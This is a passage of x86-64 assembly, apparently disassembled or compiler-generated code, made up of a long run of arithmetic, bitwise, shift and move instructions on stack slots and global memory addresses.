mov rcx, qword [rsp + 0xc528]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1840], ax
movsx eax, byte [rsp + 0x8d]
imul eax, eax, 0x2f
mov byte [0x1402c90b5], al
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x1b5], al
movzx eax, word [rsp + 0x1540]
movzx ecx, word [rsp + 0x1810]
sub eax, ecx
mov rcx, qword [rsp + 0xd6d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0x1b6], al
movsx eax, word [rsp + 0x1aec]
mov rcx, qword [rsp + 0xc758]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1750], ax
mov eax, dword [rsp + 0x6a14]
mov dword [rsp + 0x6ec0], eax
mov eax, dword [0x1402c90a0]
mov rcx, qword [rsp + 0xe0a8]
mov qword [rsp + 0xe6c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe6c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6dc8], eax
mov rax, qword [rsp + 0xd140]
movzx ecx, al
mov rax, qword [rsp + 0xc278]
shl rax, cl
mov rcx, qword [rsp + 0xe1a0]
mov qword [rcx], rax
lea rax, [rsp + 0xc7f0]
mov qword [rsp + 0xe6c8], rax
mov rax, qword [rsp + 0xc430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbc]
or eax, ecx
mov byte [0x1402c751e], al
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13c], al
movzx eax, word [rsp + 0x1768]
mov word [rsp + 0x1b00], ax
mov rax, qword [rsp + 0xdf80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8e]
and eax, ecx
mov rcx, qword [rsp + 0xcb90]
mov byte [rcx], al
movsx eax, word [rsp + 0x1814]
movsx ecx, word [rsp + 0x16e8]
add eax, ecx
mov rcx, qword [rsp + 0xe338]
mov word [rcx], ax
lea rax, [rsp + 0x6a74]
mov qword [rsp + 0xe6d0], rax
mov rax, qword [rsp + 0xcfc8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc5a0]
mov qword [rcx], rax
lea rax, [rsp + 0xc060]
mov qword [rsp + 0xe6d8], rax
mov rax, qword [rsp + 0xc7d8]
mov rcx, qword [rsp + 0xe470]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd678]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe5d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbf20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c751f], al
movsx eax, word [rsp + 0x1668]
mov rcx, qword [rsp + 0xe040]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a58], ax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x1b7], al
movzx eax, byte [rsp + 0xc1]
movzx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [rsp + 0x13a], al
movzx eax, word [rsp + 0x1648]
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xdc10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a78], eax
lea rax, [0x1402c7490]
mov qword [rsp + 0xe6e0], rax
mov rax, qword [rsp + 0xddf0]
mov ecx, dword [rsp + 0x6d48]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd628]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc880]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe0d8]
shl rax, cl
mov qword [rsp + 0xcb78], rax
mov rax, qword [0x1402c9518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc908]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1402c9508]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbe]
mov byte [rsp + 0x1b8], al
movzx eax, word [rsp + 0x18bc]
mov rcx, qword [rsp + 0xc7e0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xe0d0]
mov word [rcx], ax
mov rax, qword [0x1402c90c8]
movzx eax, word [rax]
mov word [rsp + 0x1b08], ax
mov rax, qword [rsp + 0xbdb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ab8]
or eax, ecx
mov rcx, qword [rsp + 0xdc90]
mov word [rcx], ax
mov rax, qword [rsp + 0xd6e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe508]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xc868]
mov rax, qword [rax]
mov qword [rsp + 0xe6e8], rax
mov rax, qword [rsp + 0xd8f8]
mov rcx, qword [rsp + 0xe4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d54], eax
lea rax, [rsp + 0x6e2c]
mov qword [rsp + 0xe6f0], rax
movsx eax, byte [rsp + 0x132]
imul eax, eax, 0x41
mov byte [0x1402c74ef], al
mov rax, qword [rsp + 0xdf30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc928]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x74], al
movzx eax, word [rsp + 0x1950]
movzx ecx, word [0x1402c75a4]
sub eax, ecx
mov word [rsp + 0x18f8], ax
lea rax, [rsp + 0x1970]
mov qword [rsp + 0xe6f8], rax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1818]
add eax, ecx
mov rcx, qword [rsp + 0xdb68]
mov word [rcx], ax
mov rax, qword [rsp + 0xddd8]
mov eax, dword [rax]
mov dword [rsp + 0x6ec4], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xe5a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8c0]
mov ecx, dword [rsp + 0x6c70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a40], eax
mov rax, qword [rsp + 0xcb78]
mov qword [rsp + 0xe700], rax
lea rax, [rsp + 0xae]
mov qword [0x1402c9650], rax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x159]
add eax, ecx
mov byte [rsp + 0x1a1], al
lea rax, [rsp + 0x1854]
mov qword [rsp + 0xe708], rax
movzx eax, byte [rsp + 0xc2]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [rsp + 0x1910]
mov qword [rsp + 0xe710], rax
mov eax, dword [rsp + 0x6980]
mov ecx, dword [rsp + 0x6b5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd708]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6e58]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc830]
mov dword [rcx], eax
lea rax, [rsp + 0xd030]
mov qword [rsp + 0xe718], rax
mov rax, qword [rsp + 0xd150]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdd60]
sar rax, cl
mov rcx, qword [rsp + 0xe140]
mov qword [rcx], rax
mov rax, qword [rsp + 0xced0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd7a8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1402c93f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x19e8]
mov word [rsp + 0x1b0c], ax
movzx eax, word [rsp + 0x1764]
mov rcx, qword [rsp + 0xcfd8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1828], ax
movsx eax, word [rsp + 0x1880]
movsx ecx, word [rsp + 0x1814]
xor eax, ecx
mov rcx, qword [rsp + 0xcce0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0xde98]
mov rcx, qword [rsp + 0xbfa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xe000]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov dword [rsp + 0x6ec8], eax
mov rax, qword [rsp + 0xe220]
mov rcx, qword [rsp + 0xd4c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b6c], eax
mov rax, qword [rsp + 0xc948]
mov rcx, qword [rsp + 0xe4f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe4a0], rax
movzx eax, word [rsp + 0x1b0c]
mov word [0x1402c9658], ax
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x1ba], al
movsx eax, byte [rsp + 0xd9]
mov rcx, qword [rsp + 0xc158]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x177]
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0xc680]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x162c]
imul eax, ecx
mov word [rsp + 0x1784], ax
mov rax, qword [rsp + 0xe6c8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdb08], rax
mov rax, qword [rsp + 0xc850]
mov eax, dword [rax]
mov dword [rsp + 0x6ecc], eax
mov rax, qword [rsp + 0xe608]
mov ecx, dword [rsp + 0x6e88]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc180]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov qword [rsp + 0xe720], rax
movsx eax, word [rsp + 0x1794]
movsx ecx, word [rsp + 0x1aa8]
sub eax, ecx
mov rcx, qword [rsp + 0xcd00]
mov word [rcx], ax
mov rax, qword [rsp + 0xd820]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd318]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c7522], al
mov rax, qword [rsp + 0xd110]
movzx eax, word [rax]
mov word [rsp + 0x1b10], ax
movzx eax, byte [0x1402c74fa]
mov rcx, qword [rsp + 0xbcf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe8], al
movsx eax, word [rsp + 0x1970]
mov rcx, qword [rsp + 0xd170]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0xdf58]
mov eax, dword [rax]
mov dword [rsp + 0x6ed0], eax
mov rax, qword [rsp + 0xe430]
mov rcx, qword [0x1402c7490]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xcd90]
mov rax, qword [rax]
mov qword [rsp + 0xe728], rax
mov eax, dword [0x1402c7498]
movzx ecx, al
mov eax, dword [rsp + 0x6978]
sar eax, cl
mov dword [rsp + 0x6b8c], eax
movzx eax, byte [rsp + 0x1a5]
movzx ecx, byte [rsp + 0x1a4]
shl eax, cl
mov byte [rsp + 0x93], al
movsx eax, byte [rsp + 0x89]
imul eax, eax, 0x62
mov byte [0x1402c74c2], al
mov rax, qword [0x1402c95c0]
movzx eax, byte [rax]
mov byte [rsp + 0x1bc], al
movzx eax, word [rsp + 0x1950]
movzx ecx, word [rsp + 0x171c]
and eax, ecx
mov rcx, qword [rsp + 0xe450]
mov word [rcx], ax
lea rax, [rsp + 0x17dc]
mov qword [rsp + 0xe730], rax
mov rax, qword [rsp + 0xd7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc5d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdcb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc0d8]
mov qword [rcx], rax
lea rax, [rsp + 0xddc0]
mov qword [rsp + 0xe738], rax
mov rax, qword [rsp + 0xc890]
mov ecx, dword [rsp + 0x69f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a04], eax
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x1bd], al
movsx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0xd648]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9208]
mov byte [rcx], al
mov rax, qword [rsp + 0xbdb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc478]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcc50]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x1be], al
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x1684]
sub eax, ecx
mov word [rsp + 0x1778], ax
mov rax, qword [rsp + 0xe180]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcda8]
mov dword [rcx], eax
lea rax, [rsp + 0xd098]
mov qword [rsp + 0xe740], rax
mov rax, qword [rsp + 0xd8a8]
mov rcx, qword [rsp + 0xda20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfe8], rax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov dword [rsp + 0x6ed4], eax
mov rax, qword [rsp + 0xca90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11a]
add eax, ecx
mov rcx, qword [rsp + 0xd988]
mov byte [rcx], al
mov rax, qword [rsp + 0xc058]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd5b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c7523], al
movsx eax, word [rsp + 0x19bc]
mov rcx, qword [rsp + 0xc260]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
movzx eax, word [rsp + 0x1870]
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0xe5f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x153c]
cdq
idiv ecx
mov word [rsp + 0x16ec], ax
mov rax, qword [0x1402c9478]
movzx eax, word [rax]
mov word [rsp + 0x1b18], ax
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0xd860]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1a0], rax
mov rax, qword [rsp + 0xcb50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xde18]
mov qword [rsp + 0xe748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe748]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b7c], eax
mov eax, dword [rsp + 0x6ce8]
mov dword [rsp + 0x6ed8], eax
mov rax, qword [rsp + 0xbfd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd498]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd728]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [0x1402c74ef]
add eax, ecx
mov byte [0x1402c751b], al
lea rax, [rsp + 0x16c8]
mov qword [rsp + 0xe750], rax
mov rax, qword [rsp + 0xdab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc918]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd1f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xdaa8]
movsx eax, byte [rax]
mov rcx, qword [0x1402c94b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0xd988]
movzx eax, byte [rax]
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0xc8b8]
mov rcx, qword [rsp + 0xd128]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe500], rax
lea rax, [rsp + 0x69ec]
mov qword [rsp + 0xe758], rax
mov rax, qword [rsp + 0xdc10]
mov rcx, qword [rsp + 0xe1f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b08], eax
lea rax, [rsp + 0xc028]
mov qword [rsp + 0xe760], rax
lea rax, [rsp + 0x19fc]
mov qword [0x1402c9660], rax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdf30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0xe660]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd240]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd6c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc970]
movzx eax, word [rax]
mov word [rsp + 0x1b1c], ax
mov rax, qword [0x1402c9258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdf28]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdd18]
mov word [rcx], ax
mov rax, qword [rsp + 0xe3e0]
mov qword [rsp + 0xe768], rax
mov rax, qword [rsp + 0xdad8]
mov rcx, qword [rsp + 0xdb78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf58], rax
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xc090]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xdc88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6ebc]
mov dword [rsp + 0x6edc], eax
mov rax, qword [rsp + 0xc4e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1534]
xor eax, ecx
mov rcx, qword [0x1402c94e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc228]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
sar eax, cl
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb80]
movzx eax, byte [rax]
mov byte [rsp + 0x1c0], al
movzx eax, word [rsp + 0x16cc]
mov rcx, qword [0x1402c92f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0xdea8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbc80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16f8], ax
mov eax, dword [rsp + 0x6e24]
mov dword [rsp + 0x6ee0], eax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xd1f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcee0], rax
lea rax, [rsp + 0x6af8]
mov qword [rsp + 0xe770], rax
mov rax, qword [rsp + 0xbdd0]
mov rcx, qword [rsp + 0xe2b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf20], rax
lea rax, [rsp + 0x57]
mov qword [0x1402c9668], rax
lea rax, [rsp + 0x175c]
mov qword [rsp + 0xe778], rax
mov rax, qword [rsp + 0xc260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b08]
sub eax, ecx
mov rcx, qword [rsp + 0xd690]
mov word [rcx], ax
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc708]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcb], al
lea rax, [0x1402c9490]
mov qword [rsp + 0xe780], rax
mov rax, qword [rsp + 0xd770]
mov rcx, qword [rsp + 0xcaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd320]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6bc8]
mov dword [rsp + 0x6ee4], eax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x6d10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6eac], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xe4b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc1a0], rax
lea rax, [rsp + 0x1adc]
mov qword [0x1402c9670], rax
lea rax, [rsp + 0xf1]
mov qword [rsp + 0xe788], rax
movzx eax, word [rsp + 0x1958]
mov rcx, qword [rsp + 0xc4e0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1ac8], ax
movzx eax, word [rsp + 0x1aec]
mov word [rsp + 0x1b20], ax
mov rax, qword [rsp + 0xd618]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18c]
add eax, ecx
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0xdaa0]
mov rcx, qword [rsp + 0xdef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd980]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd4c0]
mov eax, dword [rax]
mov dword [rsp + 0x6ee8], eax
mov rax, qword [rsp + 0xd168]
mov rcx, qword [rsp + 0xe638]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc438]
mov qword [rcx], rax
lea rax, [rsp + 0xc1b8]
mov qword [rsp + 0xe790], rax
mov rax, qword [rsp + 0xd440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe650]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c751e], al
movzx eax, word [rsp + 0x1768]
mov rcx, qword [0x1402c92c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xca60]
mov word [rcx], ax
mov rax, qword [rsp + 0xcac8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16ac], ax
mov rax, qword [rsp + 0xcc68]
movzx eax, byte [rax]
mov byte [rsp + 0x1c1], al
mov rax, qword [0x1402c93b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x145]
and eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0xc278]
mov qword [rsp + 0xe798], rax
mov rax, qword [rsp + 0xdef0]
mov ecx, dword [rsp + 0x6af8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c08], eax
mov rax, qword [rsp + 0xda40]
mov rax, qword [rax]
mov qword [rsp + 0xe7a0], rax
mov rax, qword [rsp + 0xd6b0]
mov rcx, qword [rsp + 0xe608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc8f0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1a28]
mov word [0x1402c9678], ax
movzx eax, byte [rsp + 0xf0]
mov rcx, qword [0x1402c9160]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe390]
mov byte [rcx], al
lea rax, [rsp + 0x55]
mov qword [rsp + 0xe7a8], rax
mov rax, qword [rsp + 0xde30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd620]
mov word [rcx], ax
lea rax, [rsp + 0x114]
mov qword [rsp + 0xe7b0], rax
mov rax, qword [rsp + 0xe5d8]
mov rcx, qword [rsp + 0xd6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6af4], eax
mov rax, qword [rsp + 0xd628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d48], eax
mov rax, qword [rsp + 0xd380]
mov qword [rsp + 0xe7b8], rax
mov rax, qword [rsp + 0xd260]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov byte [rsp + 0x1c2], al
movsx eax, word [rsp + 0x1614]
mov rcx, qword [rsp + 0xc658]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c7598], ax
mov rax, qword [rsp + 0xd7a8]
movsx eax, byte [rax]
imul eax, eax, 0x47
mov rcx, qword [rsp + 0xd580]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b10]
mov rcx, qword [rsp + 0xc560]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1acc], ax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe7c0], rax
mov rax, qword [rsp + 0xd6e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xda70]
shr rax, cl
mov qword [rsp + 0xc2a8], rax
mov rax, qword [rsp + 0xe178]
mov rax, qword [rax]
mov qword [rsp + 0xe7c8], rax
mov eax, dword [rsp + 0x6cbc]
movzx ecx, al
mov eax, dword [rsp + 0x6e84]
shl eax, cl
mov rcx, qword [rsp + 0xdc10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc290]
mov ecx, dword [rsp + 0x6c08]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6d18], eax
lea rax, [rsp + 0x1690]
mov qword [rsp + 0xe7d0], rax
mov rax, qword [0x1402c93c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x92]
or eax, ecx
mov byte [0x1402c74e6], al
mov rax, qword [rsp + 0xd850]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc250]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdaa8]
mov byte [rcx], al
lea rax, [rsp + 0x191c]
mov qword [rsp + 0xe7d8], rax
mov rax, qword [0x1402c9248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd568]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd110]
mov word [rcx], ax
lea rax, [rsp + 0x69a8]
mov qword [rsp + 0xe7e0], rax
mov rax, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0xd628]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6c20], eax
mov rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xda50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd860], rax
mov rax, qword [rsp + 0xe518]
mov qword [rsp + 0xe7e8], rax
mov rax, qword [rsp + 0xd248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1810]
add eax, ecx
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0xe4b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe610]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c75cc], ax
movzx eax, byte [rsp + 0x116]
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0xc708]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe650]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0xcce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc600]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdae8]
mov word [rcx], ax
lea rax, [rsp + 0x6a1c]
mov qword [rsp + 0xe7f0], rax
mov rax, qword [rsp + 0xde18]
mov rcx, qword [rsp + 0xd7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd8b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce10]
mov qword [rsp + 0xe7f8], rax
mov rax, qword [rsp + 0xd910]
mov rcx, qword [rsp + 0xca88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd8e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcb40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0xd3c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1614]
shl eax, cl
mov rcx, qword [0x1402c9310]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17b]
mov byte [rsp + 0x1c4], al
mov rax, qword [rsp + 0xe260]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbef0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xe528]
mov word [rcx], ax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0xe800], rax
movsx eax, word [rsp + 0x15c0]
movsx ecx, word [rsp + 0x16e8]
sar eax, cl
mov word [rsp + 0x1948], ax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xe808], rax
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ae4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6c64]
mov ecx, dword [rsp + 0x69f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6eb4], eax
mov rax, qword [rsp + 0xcce8]
mov rax, qword [rax]
mov qword [rsp + 0xe810], rax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0xca38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c9126], al
movsx eax, byte [rsp + 0x194]
movsx ecx, byte [rsp + 0xc0]
add eax, ecx
mov byte [rsp + 0x17b], al
lea rax, [0x1402c75b0]
mov qword [rsp + 0xe818], rax
movzx eax, word [rsp + 0x1b04]
movzx ecx, word [rsp + 0x1560]
imul eax, ecx
mov word [rsp + 0x18d0], ax
mov rax, qword [rsp + 0xc1a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b2]
and eax, ecx
mov byte [rsp + 0x73], al
